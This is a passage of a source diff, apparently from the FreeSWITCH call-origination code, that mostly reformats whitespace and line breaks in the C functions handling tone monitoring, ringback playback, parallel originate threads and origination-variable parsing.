char *fail_data = strdup(var);
int fx;
@@ -469,66 +466,61 @@
switch_assert(fail_data);
fail_count = switch_separate_string(fail_data, '!', fail_array, (sizeof(fail_array) / sizeof(fail_array[0])));
-
- for(fx = 0; fx < fail_count; fx++) {
+
+ for (fx = 0; fx < fail_count; fx++) {
char *cause = fail_array[fx];
int hits = 2;
char *p, *q;
-
+
if (!(p = strchr(cause, ':'))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
}
*p++ = '\0';
-
+
if (!p) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
}
-
+
if (!(hits = atoi(p))) {
hits = 2;
}
-
+
if (!(p = strchr(p, ':'))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
}
*p++ = '\0';
-
+
if (!p) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
}
- for(q = p; q && *q; q++) {
+ for (q = p; q && *q; q++) {
if (*q == '+') {
*q = ',';
}
}
switch_snprintf(bug_key, sizeof(bug_key), "monitor_early_media_fail_%d", ++y);
- switch_ivr_tone_detect_session(originate_status[i].peer_session,
- bug_key,
- p, "r", 0,
- hits,
- "fail",
- cause, monitor_callback);
-
+ switch_ivr_tone_detect_session(originate_status[i].peer_session, bug_key, p, "r", 0, hits, "fail", cause, monitor_callback);
+
}
-
+
switch_safe_free(fail_data);
-
+
}
}
-
+
if (oglobals->monitor_early_media_ring) {
const char *var = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_ring");
const char *var_total = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_ring_total");
if (!zstr(var)) {
- char *ring_array[128] = {0};
+ char *ring_array[128] = { 0 };
int ring_count = 0;
char *ring_data = strdup(var);
int fx;
@@ -536,11 +528,11 @@
switch_assert(ring_data);
ring_count = switch_separate_string(ring_data, '!', ring_array, (sizeof(ring_array) / sizeof(ring_array[0])));
-
- for(fx = 0; fx < ring_count; fx++) {
+
+ for (fx = 0; fx < ring_count; fx++) {
int hits = 2;
char *p = ring_array[fx], *q;
-
+
if (!p) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
@@ -549,78 +541,75 @@
if (!(hits = atoi(p))) {
hits = 2;
}
-
+
if (!(p = strchr(p, ':'))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
}
*p++ = '\0';
-
+
if (!p) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_ERROR, "Parse Error\n");
continue;
}
- for(q = p; q && *q; q++) {
+ for (q = p; q && *q; q++) {
if (*q == '+') {
*q = ',';
}
}
-
+
switch_channel_set_private(originate_status[i].peer_channel, "_oglobals_", oglobals);
switch_snprintf(bug_key, sizeof(bug_key), "monitor_early_media_ring_%d", ++y);
- switch_ivr_tone_detect_session(originate_status[i].peer_session,
- bug_key,
- p, "r", 0, hits, "ring", NULL, monitor_callback);
-
+ switch_ivr_tone_detect_session(originate_status[i].peer_session, bug_key, p, "r", 0, hits, "ring", NULL, monitor_callback);
+
}
-
+
if (var_total) {
int tmp = atoi(var_total);
if (tmp > 0 && tmp < 100) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_DEBUG,
- "%s setting ring total to %d\n",
- switch_channel_get_name(originate_status[i].peer_channel), tmp);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(originate_status[i].peer_session), SWITCH_LOG_DEBUG,
+ "%s setting ring total to %d\n", switch_channel_get_name(originate_status[i].peer_channel), tmp);
oglobals->monitor_early_media_ring_total = tmp;
}
}
-
+
switch_safe_free(ring_data);
-
+
}
}
}
-
+
if (!oglobals->monitor_early_media_ring) {
if (!oglobals->progress) {
oglobals->progress = 1;
}
-
+
if (!oglobals->ring_ready && !oglobals->ignore_ring_ready) {
oglobals->ring_ready = 1;
-
+
}
}
}
-
+
switch_ivr_parse_all_events(originate_status[i].peer_session);
state = switch_channel_get_state(originate_status[i].peer_channel);
if (state >= CS_HANGUP || state == CS_RESET || switch_channel_test_flag(originate_status[i].peer_channel, CF_TRANSFER) ||
switch_channel_test_flag(originate_status[i].peer_channel, CF_REDIRECT) ||
- switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) ||
+ switch_channel_test_flag(originate_status[i].peer_channel, CF_BRIDGED) ||
!switch_channel_test_flag(originate_status[i].peer_channel, CF_ORIGINATING)
) {
(oglobals->hups)++;
} else if ((switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
(oglobals->early_ok && switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA)) ||
- (oglobals->ring_ready && oglobals->return_ring_ready && len == 1 &&
+ (oglobals->ring_ready && oglobals->return_ring_ready && len == 1 &&
switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY))
- )
+ )
&& !switch_channel_test_flag(originate_status[i].peer_channel, CF_TAGGED)
- ) {
-
+ ) {
+
if (!zstr(oglobals->key)) {
struct key_collect *collect;
@@ -661,7 +650,7 @@
rval = 1;
}
- end:
+ end:
if (pindex > -1 && caller_channel && switch_channel_ready(caller_channel) && !switch_channel_media_ready(caller_channel)) {
const char *var = switch_channel_get_variable(caller_channel, "inherit_codec");
@@ -669,15 +658,15 @@
switch_codec_implementation_t impl = { 0 };
char tmp[128] = "";
-
+
if (switch_core_session_get_read_impl(originate_status[pindex].peer_session, &impl) == SWITCH_STATUS_SUCCESS) {
switch_snprintf(tmp, sizeof(tmp), "%s@%uh@%ui", impl.iananame, impl.samples_per_second, impl.microseconds_per_packet / 1000);
switch_channel_set_variable(caller_channel, "absolute_codec_string", tmp);
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "Setting codec string on %s to %s\n",
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "Setting codec string on %s to %s\n",
switch_channel_get_name(caller_channel), tmp);
} else {
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(originate_status[pindex].peer_channel), SWITCH_LOG_WARNING,
- "Error inheriting codec. Channel %s has no read codec yet.\n",
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(originate_status[pindex].peer_channel), SWITCH_LOG_WARNING,
+ "Error inheriting codec. Channel %s has no read codec yet.\n",
switch_channel_get_name(originate_status[pindex].peer_channel));
}
@@ -685,7 +674,7 @@
}
if (send_ringback) {
- oglobals->sending_ringback++;
+ oglobals->sending_ringback++;
}
return rval;
@@ -737,7 +726,7 @@
switch_channel_state_t wait_state = 0;
switch_assert(peer_channel);
-
+
if (switch_channel_get_state(peer_channel) == CS_RESET) {
switch_channel_set_state(peer_channel, CS_SOFT_EXECUTE);
}
@@ -769,7 +758,7 @@
if (switch_channel_test_flag(caller_channel, CF_ANSWERED)) {
ringback_data = switch_channel_get_variable(caller_channel, "transfer_ringback");
}
-
+
if (!ringback_data) {
ringback_data = switch_channel_get_variable(caller_channel, "ringback");
}
@@ -796,7 +785,7 @@
}
-
+
if (!ringback.asis) {
if ((pass = (uint8_t) switch_test_flag(read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH))) {
goto no_ringback;
@@ -819,7 +808,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000);
-
+
write_frame.codec = &write_codec;
write_frame.datalen = read_codec->implementation->decoded_bytes_per_packet;
write_frame.samples = write_frame.datalen / 2;
@@ -827,7 +816,7 @@
switch_core_session_set_read_codec(session, &write_codec);
}
}
-
+
if (switch_channel_test_flag(caller_channel, CF_DISABLE_RINGBACK)) {
ringback_data = NULL;
}
@@ -874,7 +863,7 @@
} else {
switch_buffer_create_dynamic(&ringback.audio_buffer, 512, 1024, 0);
switch_buffer_set_loops(ringback.audio_buffer, -1);
-
+
teletone_init_session(&ringback.ts, 0, teletone_handler, &ringback);
ringback.ts.rate = read_codec->implementation->actual_samples_per_second;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Play Ringback Tone [%s]\n", ringback_data);
@@ -890,7 +879,7 @@
}
}
- no_ringback:
+ no_ringback:
if (caller_channel) {
wait_state = switch_channel_get_state(caller_channel);
@@ -928,13 +917,13 @@
} else {
read_frame = NULL;
}
-
+
if (read_frame && !pass) {
if (ringback.fh) {
switch_size_t mlen, olen;
unsigned int pos = 0;
-
+
if (ringback.asis) {
mlen = write_frame.codec->implementation->encoded_bytes_per_packet;
} else {
@@ -978,7 +967,7 @@
}
}
- done:
+ done:
if (ringback.fh) {
switch_core_file_close(ringback.fh);
@@ -996,7 +985,7 @@
switch_safe_free(write_frame.data);
- end:
+ end:
if (!switch_channel_media_ready(peer_channel)) {
if (switch_channel_up(peer_channel)) {
@@ -1004,7 +993,7 @@
}
status = SWITCH_STATUS_FALSE;
}
-
+
if (caller_channel && !switch_channel_ready(caller_channel)) {
status = SWITCH_STATUS_FALSE;
}
@@ -1019,14 +1008,14 @@
switch_assert(session && peer_channel);
caller_channel = switch_core_session_get_channel(session);
-
+
if ((import = switch_channel_get_variable(caller_channel, varname))) {
char *mydata = switch_core_session_strdup(session, import);
int i, argc;
char *argv[64] = { 0 };
if ((argc = switch_separate_string(mydata, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
- for(i = 0; i < argc; i++) {
+ for (i = 0; i < argc; i++) {
if ((val = switch_channel_get_variable(peer_channel, argv[i]))) {
switch_channel_set_variable(caller_channel, argv[i], val);
}
@@ -1036,11 +1025,8 @@
}
-static switch_status_t setup_ringback(originate_global_t *oglobals,
- const char *ringback_data,
- ringback_t *ringback,
- switch_frame_t *write_frame,
- switch_codec_t *write_codec)
+static switch_status_t setup_ringback(originate_global_t *oglobals,
+ const char *ringback_data, ringback_t *ringback, switch_frame_t *write_frame, switch_codec_t *write_codec)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_channel_t *caller_channel = switch_core_session_get_channel(oglobals->session);
@@ -1050,7 +1036,7 @@
if (!switch_channel_test_flag(caller_channel, CF_ANSWERED)
&& !switch_channel_test_flag(caller_channel, CF_EARLY_MEDIA)) {
if ((status = switch_channel_pre_answer(caller_channel)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_DEBUG, "%s Media Establishment Failed.\n",
switch_channel_get_name(caller_channel));
switch_goto_status(SWITCH_STATUS_BREAK, end);
}
@@ -1062,10 +1048,10 @@
ringback->asis++;
}
}
-
+
if (!ringback->asis) {
if (switch_test_flag(read_codec, SWITCH_CODEC_FLAG_PASSTHROUGH)) {
- switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_WARNING, "%s Ringback not supported in passthrough codec mode.\n",
+ switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(caller_channel), SWITCH_LOG_WARNING, "%s Ringback not supported in passthrough codec mode.\n",
switch_channel_get_name(caller_channel));
switch_goto_status(SWITCH_STATUS_GENERR, end);
}
@@ -1081,8 +1067,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals->session), SWITCH_LOG_DEBUG,
"Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
- read_codec->implementation->actual_samples_per_second,
- read_codec->implementation->microseconds_per_packet / 1000);
+ read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000);
write_frame->codec = write_codec;
write_frame->datalen = read_codec->implementation->decoded_bytes_per_packet;
write_frame->samples = write_frame->datalen / 2;
@@ -1094,10 +1079,10 @@
read_codec = NULL;
switch_goto_status(SWITCH_STATUS_BREAK, end);
}
- }
+ }
oglobals->gen_ringback = 1;
-
+
if (zstr(ringback_data)) {
switch_goto_status(SWITCH_STATUS_SUCCESS, end);
}
@@ -1113,7 +1098,7 @@
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(oglobals->session), SWITCH_LOG_DEBUG, "Play Ringback File [%s]\n", ringback_data);
-
+
ringback->fhb.channels = read_codec->implementation->number_of_channels;
ringback->fhb.samplerate = read_codec->implementation->actual_samples_per_second;
if (switch_core_file_open(&ringback->fhb,
@@ -1148,7 +1133,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Play Ringback Tone [%s]\n", ringback_data);
/* ringback->ts.debug = 1;
ringback->ts.debug_stream = switch_core_get_console(); */
-
+
if (teletone_run(&ringback->ts, ringback_data)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Playing Tone\n");
teletone_destroy_session(&ringback->ts);
@@ -1157,13 +1142,13 @@
}
}
}
-
- end:
+ end:
+
switch_safe_free(tmp_data);
return status;
-
+
}
@@ -1179,7 +1164,7 @@
const switch_state_handler_table_t *table;
const char *cid_name_override;
const char *cid_num_override;
- switch_caller_profile_t *caller_profile_override;
+ switch_caller_profile_t *caller_profile_override;
switch_event_t *ovars;
switch_originate_flag_t flags;
switch_status_t status;
@@ -1199,24 +1184,19 @@
static void *SWITCH_THREAD_FUNC enterprise_originate_thread(switch_thread_t *thread, void *obj)
{
enterprise_originate_handle_t *handle = (enterprise_originate_handle_t *) obj;
-
+
handle->done = 0;
- handle->status = switch_ivr_originate(NULL, &handle->bleg, &handle->cause,
+ handle->status = switch_ivr_originate(NULL, &handle->bleg, &handle->cause,
handle->bridgeto, handle->timelimit_sec,
handle->table,
handle->cid_name_override,
- handle->cid_num_override,
- handle->caller_profile_override,
- handle->ovars,
- handle->flags,
- &handle->cancel_cause
- );
+ handle->cid_num_override, handle->caller_profile_override, handle->ovars, handle->flags, &handle->cancel_cause);
handle->done = 1;
switch_mutex_lock(handle->mutex);
switch_mutex_unlock(handle->mutex);
-
+
if (handle->done != 2) {
if (handle->status == SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(switch_core_session_get_channel(handle->bleg), SWITCH_CAUSE_LOSE_RACE);
@@ -1235,8 +1215,8 @@
switch_status_t status = SWITCH_STATUS_FALSE;
switch_core_session_read_lock(session);
-
- while(rb_data->running && switch_channel_ready(channel)) {
+
+ while (rb_data->running && switch_channel_ready(channel)) {
if (status != SWITCH_STATUS_BREAK) {
if (zstr(rb_data->ringback_data) || !strcasecmp(rb_data->ringback_data, "silence")) {
status = switch_ivr_collect_digits_callback(session, NULL, 0, 0);
@@ -1266,14 +1246,12 @@
const switch_state_handler_table_t *table,
const char *cid_name_override,
const char *cid_num_override,
- switch_caller_profile_t *caller_profile_override,
- switch_event_t *ovars,
- switch_originate_flag_t flags
- )
+ switch_caller_profile_t *caller_profile_override,
+ switch_event_t *ovars, switch_originate_flag_t flags)
{
int x_argc = 0;
char *x_argv[MAX_PEERS] = { 0 };
- enterprise_originate_handle_t *hp = NULL, handles[MAX_PEERS] = { { 0 } };
+ enterprise_originate_handle_t *hp = NULL, handles[MAX_PEERS] = { {0} };
int i;
switch_caller_profile_t *cp = NULL;
switch_channel_t *channel = NULL;
@@ -1327,7 +1305,8 @@
}
/* swallow the opening bracket */
while ((data + k) && *(data + k)) {
- j = k; k++;
+ j = k;
+ k++;
/* note that this affects vars[] */
data[j] = data[k];
}
@@ -1336,8 +1315,8 @@
}
var_block_count++;
continue;
-
- var_extract_error:
+
+ var_extract_error:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Parse Error!\n");
switch_goto_status(SWITCH_STATUS_GENERR, done);
}
@@ -1417,7 +1396,7 @@
switch_threadattr_create(&thd_attr, pool);
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
- for(i = 0; i < x_argc; i++) {
+ for (i = 0; i < x_argc; i++) {
handles[i].session = session;
handles[i].bleg = NULL;
handles[i].cause = 0;
@@ -1428,18 +1407,18 @@
handles[i].cid_name_override = cid_name_override;
handles[i].cid_num_override = cid_num_override;
handles[i].caller_profile_override = cp;
- switch_event_dup(&handles[i].ovars, var_event);
+ switch_event_dup(&handles[i].ovars, var_event);
handles[i].flags = flags;
switch_mutex_init(&handles[i].mutex, SWITCH_MUTEX_NESTED, pool);
switch_mutex_lock(handles[i].mutex);
switch_thread_create(&handles[i].thread, thd_attr, enterprise_originate_thread, &handles[i], pool);
}
-
+
if (channel && !switch_channel_test_flag(channel, CF_PROXY_MODE) && !switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
if (switch_channel_test_flag(channel, CF_ANSWERED)) {
ringback_data = switch_channel_get_variable(channel, "transfer_ringback");
}
-
+
if (!ringback_data) {
ringback_data = switch_channel_get_variable(channel, "ringback");
}
@@ -1458,15 +1437,15 @@
}
- for(;;) {
+ for (;;) {
running = 0;
over = 0;
-
+
if (channel && !switch_channel_ready(channel)) {
break;
}
- for(i = 0; i < x_argc; i++) {
+ for (i = 0; i < x_argc; i++) {
if (handles[i].done == 0) {
@@ -1490,10 +1469,10 @@
break;
}
}
-
- done:
+ done:
+
if (hp) {
*cause = hp->cause;
status = hp->status;
@@ -1503,14 +1482,14 @@
switch_event_destroy(&hp->ovars);
}
- for(i = 0; i < x_argc; i++) {
+ for (i = 0; i < x_argc; i++) {
if (hp == &handles[i]) {
continue;
}
handles[i].cancel_cause = SWITCH_CAUSE_LOSE_RACE;
}
- for(i = 0; i < x_argc; i++) {
+ for (i = 0; i < x_argc; i++) {
if (hp == &handles[i]) {
continue;
}
@@ -1518,8 +1497,8 @@
switch_thread_join(&tstatus, handles[i].thread);
switch_event_destroy(&handles[i].ovars);
}
-
+
if (channel && rb_data.thread) {
switch_channel_set_flag(channel, CF_NOT_READY);
switch_thread_join(&tstatus, rb_data.thread);
@@ -1527,7 +1506,7 @@
}
- end:
+ end:
if (var_event && var_event != ovars) {
switch_event_destroy(&var_event);
@@ -1552,29 +1531,29 @@
static void *SWITCH_THREAD_FUNC early_thread_run(switch_thread_t *thread, void *obj)
{
early_state_t *state = (early_state_t *) obj;
- originate_status_t originate_status[MAX_PEERS] = { { 0 }};
- int16_t mux_data[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = { 0 };
+ originate_status_t originate_status[MAX_PEERS] = { {0} };
+ int16_t mux_data[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
int32_t sample;
switch_core_session_t *session;
- switch_codec_t *read_codec, read_codecs[MAX_PEERS] = { { 0 } };
+ switch_codec_t *read_codec, read_codecs[MAX_PEERS] = { {0} };
int i, x, ready = 0, answered = 0;
int16_t *data;
uint32_t datalen = 0;
switch_status_t status;
switch_frame_t *read_frame;
-
- for(i = 0; i < MAX_PEERS && (session = state->originate_status[i].peer_session); i++) {
+
+ for (i = 0; i < MAX_PEERS && (session = state->originate_status[i].peer_session); i++) {
originate_status[i].peer_session = session;
switch_core_session_read_lock(session);
}
-
+
while (state->ready) {
datalen = 0;
memset(mux_data, 0, sizeof(mux_data));
ready = 0;
answered = 0;
- for(i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
+ for (i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
switch_channel_t *channel = switch_core_session_get_channel(session);
if (switch_channel_media_ready(channel)) {
ready++;
@@ -1582,10 +1561,10 @@
if (switch_channel_test_flag(channel, CF_ANSWERED)) {
answered++;
}
-
+
if (!switch_core_codec_ready((&read_codecs[i]))) {
read_codec = switch_core_session_get_read_codec(session);
-
+
if (switch_core_codec_init(&read_codecs[i],
"L16",
NULL,
@@ -1604,12 +1583,12 @@
if (datalen < read_frame->datalen) {
datalen = read_frame->datalen;
}
- for (x = 0; x < (int)read_frame->datalen / 2; x++) {
+ for (x = 0; x < (int) read_frame->datalen / 2; x++) {
sample = data[x] + mux_data[x];
switch_normalize_to_16bit(sample);
- mux_data[x] = (int16_t)sample;
+ mux_data[x] = (int16_t) sample;
}
-
+
}
}
}
@@ -1618,14 +1597,14 @@
switch_buffer_write(state->buffer, mux_data, datalen);
switch_mutex_unlock(state->mutex);
}
-
+
if (!ready || answered) {
break;
}
}
- for(i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
+ for (i = 0; i < MAX_PEERS && (session = originate_status[i].peer_session); i++) {
if (switch_core_codec_ready((&read_codecs[i]))) {
switch_core_codec_destroy(&read_codecs[i]);
}
@@ -1653,13 +1632,10 @@
const switch_state_handler_table_t *table,
const char *cid_name_override,
const char *cid_num_override,
- switch_caller_profile_t *caller_profile_override,
- switch_event_t *ovars,
- switch_originate_flag_t flags,
- switch_call_cause_t *cancel_cause
- )
+ switch_caller_profile_t *caller_profile_override,
+ switch_event_t *ovars, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
{
- originate_status_t originate_status[MAX_PEERS] = { { 0 } };
+ originate_status_t originate_status[MAX_PEERS] = { {0} };
switch_originate_flag_t dftflags = SOF_NONE, myflags = dftflags;
char *pipe_names[MAX_PEERS] = { 0 };
char *data = NULL;
@@ -1703,7 +1679,7 @@
if (strstr(bridgeto, SWITCH_ENT_ORIGINATE_DELIM)) {
return switch_ivr_enterprise_originate(session, bleg, cause, bridgeto, timelimit_sec, table, cid_name_override, cid_num_override,
- caller_profile_override, ovars, flags);
+ caller_profile_override, ovars, flags);
}
oglobals.ringback_ok = 1;
@@ -1743,7 +1719,7 @@
if (switch_channel_test_flag(caller_channel, CF_PROXY_MODE) && switch_channel_media_ready(caller_channel)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"Channel is already up, delaying proxy mode 'till both legs are answered.\n");
switch_channel_set_variable(caller_channel, "bypass_media_after_bridge", "true");
switch_channel_set_variable(caller_channel, SWITCH_BYPASS_MEDIA_VARIABLE, NULL);
@@ -1752,19 +1728,18 @@
if (switch_channel_test_flag(caller_channel, CF_PROXY_MEDIA) && switch_channel_media_ready(caller_channel)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
- "Channel is already up, proxy media cannot be used anymore\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel is already up, proxy media cannot be used anymore\n");
switch_channel_set_variable(caller_channel, SWITCH_PROXY_MEDIA_VARIABLE, NULL);
switch_channel_clear_flag(caller_channel, CF_PROXY_MEDIA);
}
-
+
}
if (timelimit_sec <= 0) {
timelimit_sec = 60;
}
-
+
oglobals.idx = IDX_NADA;
oglobals.early_ok = 1;
@@ -1809,7 +1784,8 @@
}
/* swallow the opening bracket */
while ((data + k) && *(data + k)) {
- j = k; k++;
+ j = k;
+ k++;
/* note that this affects vars[] */
data[j] = data[k];
}
@@ -1818,8 +1794,8 @@
}
var_block_count++;
continue;
-
- var_extract_error:
+
+ var_extract_error:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Parse Error!\n");
status = SWITCH_STATUS_GENERR;
goto done;
@@ -1839,7 +1815,7 @@
/* Some channel are created from an originating channel and some aren't so not all outgoing calls have a way to get params
so we will normalize dialstring params and channel variables (when there is an originator) into an event that we
will use as a pseudo hash to consult for params as needed.
- */
+ */
if (ovars) {
var_event = ovars;
@@ -1905,8 +1881,8 @@
}
}
}
-
+
/* Copy all the missing applicable channel variables from A-leg into the event */
if ((hi = switch_channel_variable_first(caller_channel))) {
for (; hi; hi = hi->next) {
@@ -1952,16 +1928,16 @@
switch_channel_variable_last(caller_channel);
}
/*
- if ((hi = switch_channel_variable_first(caller_channel))) {
- for (; hi; hi = switch_hash_next(hi)) {
- switch_hash_this(hi, &vvar, NULL, &vval);
- if (vvar && vval) {
- switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (void *) vvar, (char *) vval);
- }
- }
- switch_channel_variable_last(caller_channel);
- }
- */
+ if ((hi = switch_channel_variable_first(caller_channel))) {
+ for (; hi; hi = switch_hash_next(hi)) {
+ switch_hash_this(hi, &vvar, NULL, &vval);
+ if (vvar && vval) {
+ switch_event_add_header_string(var_event, SWITCH_STACK_BOTTOM, (void *) vvar, (char *) vval);
+ }
+ }
+ switch_channel_variable_last(caller_channel);
+ }
+ */
}
if (caller_channel) { /* ringback is only useful when there is an originator */
@@ -1982,7 +1958,7 @@
ringback_data = NULL;
} else if (zstr(ringback_data)) {
const char *vvar;
-
+
if ((vvar = switch_channel_get_variable(caller_channel, SWITCH_SEND_SILENCE_WHEN_IDLE_VARIABLE))) {
int sval = atoi(vvar);
@@ -1993,7 +1969,6 @@
}
}
}
-
#if 0
/* changing behaviour ignore_early_media=true must also be explicitly set for previous behaviour */
if (ringback_data) {
@@ -2015,7 +1990,7 @@
rejections should terminate the attempt rather than a timeout, answer, or rejection by all.
If the value is set to 'true' any fail cause will end the attempt otherwise it can contain a comma (,) separated
list of cause names which should be considered fatal
- */
+ */
if ((var = switch_event_get_header(var_event, "fail_on_single_reject")) && switch_true(var)) {
fail_on_single_reject_var = strdup(var);
fail_on_single_reject = 1;
@@ -2150,12 +2125,12 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Only calling the first element in the list in this mode.\n");
or_argc = 1;
}
-
+
for (r = 0; r < or_argc; r++) {
char *p, *end = NULL;
const char *var_begin, *var_end;
oglobals.hups = 0;
-
+
reason = SWITCH_CAUSE_NONE;
memset(peer_names, 0, sizeof(peer_names));
peer_session = NULL;
@@ -2174,9 +2149,10 @@
oglobals.sent_ring = 0;
oglobals.progress = 0;
myflags = dftflags;
-
+
if (try > 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Originate attempt %d/%d in %d ms\n", try + 1, retries, sleep_ms);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Originate attempt %d/%d in %d ms\n", try + 1, retries,
+ sleep_ms);
if (caller_channel) {
switch_ivr_sleep(oglobals.session, sleep_ms, SWITCH_TRUE, NULL);
if (!switch_channel_ready(caller_channel)) {
@@ -2187,9 +2163,9 @@
switch_yield(sleep_ms * 1000);
}
}
-
+
p = pipe_names[r];
- while(p && *p) {
+ while (p && *p) {
if (*p == '[') {
end = switch_find_end_paren(p, '[', ']');
}
@@ -2204,7 +2180,7 @@
p++;
}
-
+
and_argc = switch_separate_string(pipe_names[r], ',', peer_names, (sizeof(peer_names) / sizeof(peer_names[0])));
if ((flags & SOF_NOBLOCK) && and_argc > 1) {
@@ -2250,11 +2226,11 @@
new_profile->uuid = SWITCH_BLANK_STRING;
new_profile->chan_name = SWITCH_BLANK_STRING;
new_profile->destination_number = switch_core_strdup(new_profile->pool, chan_data);
-
+
if (switch_channel_direction(caller_channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
const char *callee_id_name = new_profile->callee_id_name;
const char *callee_id_number = new_profile->callee_id_number;
-
+
if (zstr(callee_id_number)) {
callee_id_number = new_profile->destination_number;
}
@@ -2262,7 +2238,7 @@
if (zstr(callee_id_name)) {
callee_id_name = callee_id_number;
}
-
+
new_profile->caller_id_name = callee_id_name;
new_profile->caller_id_number = callee_id_number;
new_profile->callee_id_name = SWITCH_BLANK_STRING;
@@ -2313,7 +2289,7 @@
myflags |= SOF_FORKED_DIAL;
}
}
-
+
/* only valid in [] since it's unique to each channel leg */
if (vdata && (var_begin = switch_stristr("origination_uuid=", vdata))) {
@@ -2322,7 +2298,7 @@
var_end = strchr(var_begin, '|');
if (var_end) {
- strncpy(tmp, var_begin, var_end-var_begin);
+ strncpy(tmp, var_begin, var_end - var_begin);
} else {
strncpy(tmp, var_begin, strlen(var_begin));
}
@@ -2333,63 +2309,63 @@
/* The rest are valid in both {} and [] with [] taking precedence */
current_variable = NULL;
-
+
if (vdata && (var_begin = switch_stristr("origination_caller_id_number=", vdata))) {
var_begin += strlen("origination_caller_id_number=");
var_end = strchr(var_begin, '|');
if (var_end) {
- strncpy(variable_buffer, var_begin, var_end-var_begin);
+ strncpy(variable_buffer, var_begin, var_end - var_begin);
} else {
strncpy(variable_buffer, var_begin, strlen(var_begin));
}
current_variable = variable_buffer;
}
-
+
if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_caller_id_number"))) {
new_profile->caller_id_number = switch_core_strdup(new_profile->pool, current_variable);
myflags |= SOF_NO_EFFECTIVE_CID_NUM;
}
current_variable = NULL;
-
+
if (vdata && (var_begin = switch_stristr("origination_caller_id_name=", vdata))) {
var_begin += strlen("origination_caller_id_name=");
var_end = strchr(var_begin, '|');
if (var_end) {
- strncpy(variable_buffer, var_begin, var_end-var_begin);
+ strncpy(variable_buffer, var_begin, var_end - var_begin);
} else {
strncpy(variable_buffer, var_begin, strlen(var_begin));
}
current_variable = variable_buffer;
}
-
+
if (current_variable || (current_variable = switch_event_get_header(var_event, "origination_caller_id_name"))) {
new_profile->caller_id_name = switch_core_strdup(new_profile->pool, current_variable);
